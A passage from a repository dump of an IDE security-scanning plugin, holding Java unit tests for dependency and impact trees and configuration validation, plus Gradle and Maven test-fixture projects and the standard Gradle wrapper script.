(projectName.equals("MONOREPO")) { assertTrue(isIndirect); assertEquals(1, impactPathsCount); } else { assertFalse(isIndirect); assertEquals(7, impactPathsCount); } } case "cli-table:0.3.1" -> { assertFalse(isIndirect); assertEquals(1, impactPathsCount); } case "tough-cookie:2.3.1" -> { assertTrue(isIndirect); assertEquals(2, impactPathsCount); } default -> fail("Unexpected dependency " + dependencyNode.getComponentId()); } } } public void testWalkDepTree() throws IOException { walkDepTreeCommonTest("EXAMPLE", "example-yarn-package:1.0.0", new String[]{"lodash:4.16.2", "tough-cookie:2.3.1"}); } public void testWalkDepTreeMonorepo() throws IOException { walkDepTreeCommonTest("MONOREPO", "example-monorepo:1.0.0", new String[]{"lodash:4.16.2", "axios:1.5.1", "cli-table:0.3.1"}); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/scan/utils/ImpactTreeBuilderTest.java ================================================ package com.jfrog.ide.idea.scan.utils; import com.jfrog.ide.common.deptree.DepTree; import com.jfrog.ide.common.deptree.DepTreeNode; import com.jfrog.ide.common.nodes.DependencyNode; import com.jfrog.ide.common.nodes.FileTreeNode; import com.jfrog.ide.common.nodes.LicenseViolationNode; import com.jfrog.ide.common.nodes.subentities.ImpactTree; import com.jfrog.ide.common.nodes.subentities.ImpactTreeNode; import com.jfrog.ide.common.nodes.subentities.Severity; import org.junit.Assert; import org.junit.Test; import java.util.*; public class ImpactTreeBuilderTest { private final String MULTI_DESC_PATH = "/path/to/project/maven-example/pom.xml"; private final String MULTI1_DESC_PATH = "/path/to/project/maven-example/multi1/pom.xml"; private final String MULTI3_DESC_PATH = "/path/to/project/maven-example/multi3/pom.xml"; private final String MULTI_COMP_ID = "org.jfrog.test:multi:3.7.x-SNAPSHOT"; private final String MULTI1_COMP_ID = "org.jfrog.test:multi1:3.7.x-SNAPSHOT"; private final String MULTI3_COMP_ID = "org.jfrog.test:multi3:3.7.x-SNAPSHOT"; private final String SPRING_AOP_COMP_ID = "org.springframework:spring-aop:2.5.6"; private final String SPRING_CORE_COMP_ID = "org.springframework:spring-core:2.5.6"; private final String LOG4J_COMP_ID = "log4j:log4j:1.2.17"; private Map> parents = new HashMap<>() {{ put(MULTI1_COMP_ID, new HashSet<>() {{ add(MULTI_COMP_ID); add(MULTI3_COMP_ID); }}); put(MULTI3_COMP_ID, new HashSet<>() {{ add(MULTI_COMP_ID); }}); put(SPRING_AOP_COMP_ID, new HashSet<>() {{ add(MULTI3_COMP_ID); }}); put(SPRING_CORE_COMP_ID, new HashSet<>() {{ add(SPRING_AOP_COMP_ID); }}); put(LOG4J_COMP_ID, new HashSet<>() {{ add(MULTI_COMP_ID); add(MULTI1_COMP_ID); add(MULTI3_COMP_ID); }}); }}; private ImpactTree log4jImpactTree = new ImpactTree(new ImpactTreeNode(MULTI_COMP_ID) {{ getChildren().add(new ImpactTreeNode(LOG4J_COMP_ID)); getChildren().add(new ImpactTreeNode(MULTI1_COMP_ID) {{ getChildren().add(new ImpactTreeNode(LOG4J_COMP_ID)); }}); getChildren().add(new ImpactTreeNode(MULTI3_COMP_ID) {{ getChildren().add(new ImpactTreeNode(LOG4J_COMP_ID)); getChildren().add(new ImpactTreeNode(MULTI1_COMP_ID) {{ getChildren().add(new ImpactTreeNode(LOG4J_COMP_ID)); }}); }}); }}); private ImpactTree springAopImpactTree = new ImpactTree(new ImpactTreeNode(MULTI_COMP_ID) {{ getChildren().add(new ImpactTreeNode(MULTI3_COMP_ID) {{ getChildren().add(new ImpactTreeNode(SPRING_AOP_COMP_ID)); }}); }}); @Test public void testBuildImpactTrees() { Map vulnerableDeps = new HashMap<>() {{ put(LOG4J_COMP_ID, new DependencyNode() {{ addIssue(new LicenseViolationNode("", "", null, Severity.High, "", null)); }}.componentId("gav://" + LOG4J_COMP_ID)); put(SPRING_AOP_COMP_ID, new DependencyNode() {{ addIssue(new LicenseViolationNode("", "", null, Severity.High, "", null)); }}.componentId("gav://" + SPRING_AOP_COMP_ID)); }}; ImpactTreeBuilder.populateImpactTrees(vulnerableDeps, parents, MULTI_COMP_ID); assertImpactTree(log4jImpactTree, vulnerableDeps.get(LOG4J_COMP_ID).getImpactTree()); assertImpactTree(springAopImpactTree, vulnerableDeps.get(SPRING_AOP_COMP_ID).getImpactTree()); } @Test public void testAddImpactPathToDependencyNode() { DependencyNode depNode = new DependencyNode(); ImpactTreeBuilder.addImpactPathToDependencyNode(depNode, List.of(MULTI_COMP_ID, LOG4J_COMP_ID)); ImpactTreeBuilder.addImpactPathToDependencyNode(depNode, List.of(MULTI_COMP_ID, MULTI1_COMP_ID, LOG4J_COMP_ID)); ImpactTreeBuilder.addImpactPathToDependencyNode(depNode, List.of(MULTI_COMP_ID, MULTI3_COMP_ID, LOG4J_COMP_ID)); ImpactTreeBuilder.addImpactPathToDependencyNode(depNode, List.of(MULTI_COMP_ID, MULTI3_COMP_ID, MULTI1_COMP_ID, LOG4J_COMP_ID)); assertImpactTree(log4jImpactTree, depNode.getImpactTree()); } private static void assertImpactTree(ImpactTree expected, ImpactTree actual) { assertImpactTreeNode(expected.getRoot(), actual.getRoot()); } private static void assertImpactTreeNode(ImpactTreeNode expected, ImpactTreeNode actual) { Assert.assertEquals(expected.getName(), actual.getName()); Assert.assertEquals(expected.getChildren().size(), actual.getChildren().size()); expected.getChildren().forEach(expectedNode -> { ImpactTreeNode actualNode = actual.getChildren().stream().filter(actualImpactTreeNode -> actualImpactTreeNode.getName().equals(expectedNode.getName())).findFirst().get(); assertImpactTreeNode(actualNode, expectedNode); }); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/ui/LocalComponentsTreeTest.java ================================================ package com.jfrog.ide.idea.ui; import com.intellij.openapi.application.ApplicationManager; import com.intellij.testFramework.EdtTestUtil; import com.intellij.testFramework.HeavyPlatformTestCase; import com.jfrog.ide.common.nodes.*; import com.jfrog.ide.common.nodes.subentities.Severity; import java.util.Collections; import java.util.List; import java.util.concurrent.atomic.AtomicReference; public class LocalComponentsTreeTest extends HeavyPlatformTestCase { public void testAddScanResults() { LocalComponentsTree tree = LocalComponentsTree.getInstance(getProject()); List nodes1 = List.of( createFileTreeNodeWithIssue("path/to/file1.txt", "issue1"), createFileTreeNodeWithIssue("path/to/file2.txt", "issue2") ); ApplicationManager.getApplication().invokeAndWait(() -> tree.doAddScanResults(nodes1)); assertEquals(2, getTreeFileNodes(tree).size()); List nodes2 = List.of( createFileTreeNodeWithIssue("path/to/file1.txt", "issue3"), createFileTreeNodeWithIssue("path/to/file3.txt", "issue4") ); ApplicationManager.getApplication().invokeAndWait(() -> tree.doAddScanResults(nodes2)); List actualNodes = getTreeFileNodes(tree); assertEquals(3, actualNodes.size()); FileTreeNode file1Node = actualNodes.stream().filter(fileTreeNode -> fileTreeNode.getFilePath().equals("path/to/file1.txt")).findFirst().get(); assertEquals(2, file1Node.getChildren().size()); } private FileTreeNode createFileTreeNodeWithIssue(String filePath, String... issueNames) { FileTreeNode fileNode = new FileTreeNode(filePath); for (String issueName : issueNames) { SastIssueNode issueNode = new SastIssueNode(issueName, "filePath", 1, 1, 1, 1, "reason", "lineSnippet", null, Severity.High, "ruleID"); fileNode.addIssue(issueNode); } return fileNode; } private List getTreeFileNodes(LocalComponentsTree tree) { SortableChildrenTreeNode root = (SortableChildrenTreeNode) tree.getModel().getRoot(); return (List) (List) Collections.list(root.children()); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/ui/configuration/ConfigVerificationUtilsNegativeTest.java ================================================ package com.jfrog.ide.idea.ui.configuration; import com.intellij.openapi.options.ConfigurationException; import com.jfrog.ide.common.configuration.ServerConfig; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.Parameterized; import java.util.Arrays; import java.util.Collection; import static com.jfrog.ide.idea.ui.configuration.ConfigVerificationUtils.validateGlobalConfig; /** * @author yahavi **/ @RunWith(Parameterized.class) public class ConfigVerificationUtilsNegativeTest { @Parameterized.Parameters public static Collection data() { return Arrays.asList(new Object[][]{ {"", ServerConfig.PolicyType.VULNERABILITIES, "bad project", ""}, {"", ServerConfig.PolicyType.PROJECT, "", ""}, {"", ServerConfig.PolicyType.PROJECT, "bad@project", ""}, {"", ServerConfig.PolicyType.PROJECT, "bad project", ""}, {"", ServerConfig.PolicyType.WATCHES, "", ""}, {"", ServerConfig.PolicyType.WATCHES, "project", "watch 1"}, {"", ServerConfig.PolicyType.WATCHES, "", "watch#1,watch-2"}, {"", ServerConfig.PolicyType.WATCHES, "", ",watch-1,watch-2"}, {"", ServerConfig.PolicyType.WATCHES, "", "watch-1,watch-2,"}, {"bad pattern *", ServerConfig.PolicyType.WATCHES, "", ""}, {"**/*{bad pattern}", ServerConfig.PolicyType.WATCHES, "", ""}, {"**/*{bad,pattern*", ServerConfig.PolicyType.VULNERABILITIES, "", ""}, {"**/*{bad,pattern}a{b,c}*", ServerConfig.PolicyType.VULNERABILITIES, "", ""}, {"**/*{bad,pattern}*a{b,c}*", ServerConfig.PolicyType.VULNERABILITIES, "", ""}, {"**/*{{}*", ServerConfig.PolicyType.VULNERABILITIES, "", ""}, }); } private final String excludedPaths; private final ServerConfig.PolicyType policyType; private final String project; private final String watches; public ConfigVerificationUtilsNegativeTest(String excludedPaths, ServerConfig.PolicyType policyType, String project, String watches) { this.excludedPaths = excludedPaths; this.policyType = policyType; this.project = project; this.watches = watches; } @Test(expected = ConfigurationException.class) public void testValidateGlobalConfig() throws ConfigurationException { validateGlobalConfig(excludedPaths, policyType, project, watches); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/ui/configuration/ConfigVerificationUtilsPositiveTest.java ================================================ package com.jfrog.ide.idea.ui.configuration; import com.intellij.openapi.options.ConfigurationException; import com.jfrog.ide.common.configuration.ServerConfig; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.Parameterized; import java.util.Arrays; import java.util.Collection; import static com.jfrog.ide.idea.ui.configuration.ConfigVerificationUtils.validateGlobalConfig; /** * @author yahavi **/ @RunWith(Parameterized.class) public class ConfigVerificationUtilsPositiveTest { @Parameterized.Parameters public static Collection data() { return Arrays.asList(new Object[][]{ {"",ServerConfig.PolicyType.VULNERABILITIES, "", ""}, {"",ServerConfig.PolicyType.PROJECT, "project", ""}, {"",ServerConfig.PolicyType.WATCHES, "project", "watch-1"}, {"",ServerConfig.PolicyType.WATCHES, "", "watch-1,watch-2"}, {"**/*{.idea, test, node_modules}*",ServerConfig.PolicyType.VULNERABILITIES, "", ""}, {"**/*test*",ServerConfig.PolicyType.VULNERABILITIES, "", ""}, }); } private final String excludedPaths; private final ServerConfig.PolicyType policyType; private final String project; private final String watches; public ConfigVerificationUtilsPositiveTest(String excludedPaths, ServerConfig.PolicyType policyType, String project, String watches) { this.excludedPaths = excludedPaths; this.policyType = policyType; this.project = project; this.watches = watches; } @Test public void testValidateGlobalConfig() throws ConfigurationException { validateGlobalConfig(excludedPaths, policyType, project, watches); } } ================================================ FILE: src/test/resources/exclusion/pom.xml ================================================ 4.0.0 group-id-0 artifact-id-0 version-0 pom Simple Multi Modules Build group-id-1 artifact-id-1 version-1 group-id-2 artifact-id-2 version-2 group-id-3 artifact-id-3 ================================================ FILE: src/test/resources/gradle/global/api/build.gradle ================================================ configurations { spi } dependencies { implementation project(':shared') implementation module("commons-lang:commons-lang:2.4") { dependency("commons-io:commons-io:1.2") } implementation group: 'org.apache.wicket', name: 'wicket', version: '1.3.7' } // Just a smoke test that using this option does not lead to any exception compileJava.options.compilerArgs = ['-Xlint:unchecked'] ================================================ FILE: src/test/resources/gradle/global/api/src/main/java/org/gradle/api/PersonList.java ================================================ /* * Copyright (C) 2011 JFrog Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.gradle.api; import org.gradle.apiImpl.Impl; import org.gradle.shared.Person; import java.util.ArrayList; public class PersonList { private ArrayList persons = new ArrayList(); public void doSomethingWithImpl() { org.apache.commons.lang.builder.ToStringBuilder stringBuilder; try { Class.forName("org.apache.commons.io.FileUtils"); } catch (ClassNotFoundException e) { throw new RuntimeException(e); } new Impl().implMethod(); } } ================================================ FILE: src/test/resources/gradle/global/api/src/main/java/org/gradle/api/package.html ================================================

These are the API classes

================================================ FILE: src/test/resources/gradle/global/api/src/main/java/org/gradle/apiImpl/Impl.java ================================================ /* * Copyright (C) 2011 JFrog Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.gradle.apiImpl; public class Impl { public void implMethod() { double a = 4.0 * 4; } } ================================================ FILE: src/test/resources/gradle/global/build.gradle ================================================ /* * Copyright (C) 2013 JFrog Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ def javaProjects() { subprojects.findAll { new File(it.projectDir, 'src').directory } } allprojects { group = 'org.jfrog.test.gradle.publish' version = currentVersion status = 'Integration' repositories { mavenCentral() } } configure(javaProjects()) { apply plugin: 'java' apply plugin: 'maven-publish' dependencies { testImplementation 'junit:junit:4.7' } publishing { publications { mavenJava(MavenPublication) { from components.java artifact(file("$rootDir/gradle.properties")) } } } } project('api') { apply plugin: 'ivy-publish' publishing { publications { ivyJava(IvyPublication) { from components.java artifact(file("$rootDir/settings.gradle")) { name "gradle-settings" extension "txt" type "text" } // The config below will add a extra attribute to the ivy.xml // See http://ant.apache.org/ivy/history/latest-milestone/concept.html#extra descriptor.withXml { asNode().info[0].attributes().put('e:architecture', 'amd64') } } } } } ================================================ FILE: src/test/resources/gradle/global/gradle.properties ================================================ currentVersion=1.0-SNAPSHOT artifactory_user=admin artifactory_password=password ================================================ FILE: src/test/resources/gradle/global/services/build/moduleInfo.json ================================================ { "type" : "gradle", "id" : "org.jfrog.test.gradle.publish:services:1.0-SNAPSHOT", "repository" : "", "artifacts" : [ ], "excludedArtifacts" : [ ], "dependencies" : [ ] } ================================================ FILE: src/test/resources/gradle/global/services/webservice/build.gradle ================================================ apply plugin: 'war' dependencies { implementation project(':shared'), 'commons-collections:commons-collections:3.2@jar', 'commons-io:commons-io:1.2', 'commons-lang:commons-lang:2.4@jar' implementation group: 'org.apache.wicket', name: 'wicket', version: '1.3.7' implementation project(':api') } ================================================ FILE: src/test/resources/gradle/global/services/webservice/src/main/java/org/gradle/webservice/TestTest.java ================================================ /* * Copyright (C) 2011 JFrog Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.gradle.webservice; import org.apache.commons.collections.list.GrowthList; import org.apache.commons.io.FilenameUtils; import org.apache.commons.lang.builder.ToStringBuilder; import org.gradle.api.PersonList; import org.gradle.shared.Person; public class TestTest { private String name; public void method() { FilenameUtils.separatorsToUnix("my/unix/filename"); ToStringBuilder.reflectionToString(new Person("name")); new GrowthList(); new PersonList().doSomethingWithImpl(); // compile with api-spi, runtime with api } } ================================================ FILE: src/test/resources/gradle/global/services/webservice/src/test/java/org/gradle/webservice/TestTestTest.java ================================================ /* * Copyright 2007 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.gradle.webservice; import junit.framework.TestCase; /** * @author Hans Dockter */ public class TestTestTest extends TestCase { public void testClasspath() { new TestTest().method(); } public void testApiCompileClasspath() { new org.gradle.api.PersonList(); } } ================================================ FILE: src/test/resources/gradle/global/settings.gradle ================================================ include "shared", "api", "services:webservice" ================================================ FILE: src/test/resources/gradle/global/shared/src/main/java/org/gradle/shared/Person.java ================================================ /* * Copyright (C) 2011 JFrog Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.gradle.shared; import java.io.IOException; import java.util.Properties; public class Person { private String name; public Person(String name) { this.name = name; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String readProperty() throws IOException { Properties properties = new Properties(); properties.load(getClass().getClassLoader().getResourceAsStream("org/gradle/shared/main.properties")); return properties.getProperty("main"); } } ================================================ FILE: src/test/resources/gradle/global/shared/src/main/java/org/gradle/shared/package-info.java ================================================ /* * Copyright (C) 2011 JFrog Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * These are the shared classes. */ package org.gradle.shared; ================================================ FILE: src/test/resources/gradle/global/shared/src/main/resources/org/gradle/shared/main.properties ================================================ # # Copyright (C) 2011 JFrog Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # main=mainValue ================================================ FILE: src/test/resources/gradle/wrapper/api/build.gradle ================================================ configurations { spi } dependencies { implementation project(':shared') implementation module("commons-lang:commons-lang:2.4") { dependency("commons-io:commons-io:1.2") } implementation group: 'org.apache.wicket', name: 'wicket', version: '1.3.7' } // Just a smoke test that using this option does not lead to any exception compileJava.options.compilerArgs = ['-Xlint:unchecked'] ================================================ FILE: src/test/resources/gradle/wrapper/api/src/main/java/org/gradle/api/PersonList.java ================================================ /* * Copyright (C) 2011 JFrog Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.gradle.api; import org.gradle.apiImpl.Impl; import org.gradle.shared.Person; import java.util.ArrayList; public class PersonList { private ArrayList persons = new ArrayList(); public void doSomethingWithImpl() { org.apache.commons.lang.builder.ToStringBuilder stringBuilder; try { Class.forName("org.apache.commons.io.FileUtils"); } catch (ClassNotFoundException e) { throw new RuntimeException(e); } new Impl().implMethod(); } } ================================================ FILE: src/test/resources/gradle/wrapper/api/src/main/java/org/gradle/api/package.html ================================================

These are the API classes

================================================ FILE: src/test/resources/gradle/wrapper/api/src/main/java/org/gradle/apiImpl/Impl.java ================================================ /* * Copyright (C) 2011 JFrog Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.gradle.apiImpl; public class Impl { public void implMethod() { double a = 4.0 * 4; } } ================================================ FILE: src/test/resources/gradle/wrapper/build.gradle ================================================ /* * Copyright (C) 2013 JFrog Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ def javaProjects() { subprojects.findAll { new File(it.projectDir, 'src').directory } } allprojects { group = 'org.jfrog.test.gradle.publish' version = currentVersion status = 'Integration' repositories { mavenCentral() } } configure(javaProjects()) { apply plugin: 'java' apply plugin: 'maven-publish' dependencies { testImplementation 'junit:junit:4.7' } publishing { publications { mavenJava(MavenPublication) { from components.java artifact(file("$rootDir/gradle.properties")) } } } } project('api') { apply plugin: 'ivy-publish' publishing { publications { ivyJava(IvyPublication) { from components.java artifact(file("$rootDir/settings.gradle")) { name "gradle-settings" extension "txt" type "text" } // The config below will add a extra attribute to the ivy.xml // See http://ant.apache.org/ivy/history/latest-milestone/concept.html#extra descriptor.withXml { asNode().info[0].attributes().put('e:architecture', 'amd64') } } } } } ================================================ FILE: src/test/resources/gradle/wrapper/gradle/wrapper/gradle-wrapper.properties ================================================ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists distributionUrl=https\://services.gradle.org/distributions/gradle-7.6-bin.zip networkTimeout=10000 zipStoreBase=GRADLE_USER_HOME zipStorePath=wrapper/dists ================================================ FILE: src/test/resources/gradle/wrapper/gradle.properties ================================================ currentVersion=1.0-SNAPSHOT artifactory_user=admin artifactory_password=password ================================================ FILE: src/test/resources/gradle/wrapper/gradlew ================================================ #!/bin/sh # # Copyright © 2015-2021 the original authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ############################################################################## # # Gradle start up script for POSIX generated by Gradle. # # Important for running: # # (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is # noncompliant, but you have some other compliant shell such as ksh or # bash, then to run this script, type that shell name before the whole # command line, like: # # ksh Gradle # # Busybox and similar reduced shells will NOT work, because this script # requires all of these POSIX shell features: # * functions; # * expansions «$var», «${var}», «${var:-default}», «${var+SET}», # «${var#prefix}», «${var%suffix}», and «$( cmd )»; # * compound commands having a testable exit status, especially «case»; # * various built-in commands including «command», «set», and «ulimit». # # Important for patching: # # (2) This script targets any POSIX shell, so it avoids extensions provided # by Bash, Ksh, etc; in particular arrays are avoided. # # The "traditional" practice of packing multiple parameters into a # space-separated string is a well documented source of bugs and security # problems, so this is (mostly) avoided, by progressively accumulating # options in "$@", and eventually passing that to Java. # # Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, # and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; # see the in-line comments for details. # # There are tweaks for specific operating systems such as AIX, CygWin, # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template # https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. # ############################################################################## # Attempt to set APP_HOME # Resolve links: $0 may be a link app_path=$0 # Need this for daisy-chained symlinks. while APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path [ -h "$app_path" ] do ls=$( ls -ld "$app_path" ) link=${ls#*' -> '} case $link in #( /*) app_path=$link ;; #( *) app_path=$APP_HOME$link ;; esac done # This is normally unused # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} APP_HOME=$( cd "${APP_HOME:-./}" && pwd -P ) || exit # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum warn () { echo "$*" } >&2 die () { echo echo "$*" echo exit 1 } >&2 # OS specific support (must be 'true' or 'false'). cygwin=false msys=false darwin=false nonstop=false case "$( uname )" in #( CYGWIN* ) cygwin=true ;; #( Darwin* ) darwin=true ;; #( MSYS* | MINGW* ) msys=true ;; #( NONSTOP* ) nonstop=true ;; esac CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar # Determine the Java command to use to start the JVM. if [ -n "$JAVA_HOME" ] ; then if [ -x "$JAVA_HOME/jre/sh/java" ] ; then # IBM's JDK on AIX uses strange locations for the executables JAVACMD=$JAVA_HOME/jre/sh/java else JAVACMD=$JAVA_HOME/bin/java fi if [ ! -x "$JAVACMD" ] ; then die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME Please set the JAVA_HOME variable in your environment to match the location of your Java installation." fi else JAVACMD=java which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. Please set the JAVA_HOME variable in your environment to match the location of your Java installation." fi # Increase the maximum file descriptors if we can. if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then case $MAX_FD in #( max*) # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. # shellcheck disable=SC3045 MAX_FD=$( ulimit -H -n ) || warn "Could not query maximum file descriptor limit" esac case $MAX_FD in #( '' | soft) :;; #( *) # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. # shellcheck disable=SC3045 ulimit -n "$MAX_FD" || warn "Could not set maximum file descriptor limit to $MAX_FD" esac fi # Collect all arguments for the java command, stacking in reverse order: # * args from the command line # * the main class name # * -classpath # * -D...appname settings # * --module-path (only if needed) # * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. # For Cygwin or MSYS, switch paths to Windows format before running java if "$cygwin" || "$msys" ; then APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) JAVACMD=$( cygpath --unix "$JAVACMD" ) # Now convert the arguments - kludge to limit ourselves to /bin/sh for arg do if case $arg in #( -*) false ;; # don't mess with options #( /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath [ -e "$t" ] ;; #( *) false ;; esac then arg=$( cygpath --path --ignore --mixed "$arg" ) fi # Roll the args list around exactly as many times as the number of # args, so each arg winds up back in the position where it started, but # possibly modified. # # NB: a `for` loop captures its iteration list before it begins, so # changing the positional parameters here affects neither the number of # iterations, nor the values presented in `arg`. shift # remove old arg set -- "$@" "$arg" # push replacement arg done fi # Collect all arguments for the java command; # * $DEFAULT_JVM_OPTS, $JAVA_OPTS, and $GRADLE_OPTS can contain fragments of # shell script including quotes and variable substitutions, so put them in # double quotes to make sure that they get re-expanded; and # * put everything else in single quotes, so that it's not re-expanded. set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ org.gradle.wrapper.GradleWrapperMain \ "$@" # Stop when "xargs" is not available. if ! command -v xargs >/dev/null 2>&1 then die "xargs is not available" fi # Use "xargs" to parse quoted args. # # With -n1 it outputs one arg per line, with the quotes and backslashes removed. # # In Bash we could simply go: # # readarray ARGS < <( xargs -n1 <<<"$var" ) && # set -- "${ARGS[@]}" "$@" # # but POSIX shell has neither arrays nor command substitution, so instead we # post-process each arg (as a line of input to sed) to backslash-escape any # character that might be a shell metacharacter, then use eval to reverse # that process (while maintaining the separation between arguments), and wrap # the whole thing up as a single "set" statement. # # This will of course break if any of these variables contains a newline or # an unmatched quote. # eval "set -- $( printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | xargs -n1 | sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | tr '\n' ' ' )" '"$@"' exec "$JAVACMD" "$@" ================================================ FILE: src/test/resources/gradle/wrapper/gradlew.bat ================================================ @rem @rem Copyright 2015 the original author or authors. @rem @rem Licensed under the Apache License, Version 2.0 (the "License"); @rem you may not use this file except in compliance with the License. @rem You may obtain a copy of the License at @rem @rem https://www.apache.org/licenses/LICENSE-2.0 @rem @rem Unless required by applicable law or agreed to in writing, software @rem distributed under the License is distributed on an "AS IS" BASIS, @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @rem @rem Gradle startup script for Windows @rem @rem ########################################################################## @rem Set local scope for the variables with windows NT shell if "%OS%"=="Windows_NT" setlocal set DIRNAME=%~dp0 if "%DIRNAME%"=="" set DIRNAME=. @rem This is normally unused set APP_BASE_NAME=%~n0 set APP_HOME=%DIRNAME% @rem Resolve any "." and ".." in APP_HOME to make it shorter. for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. set 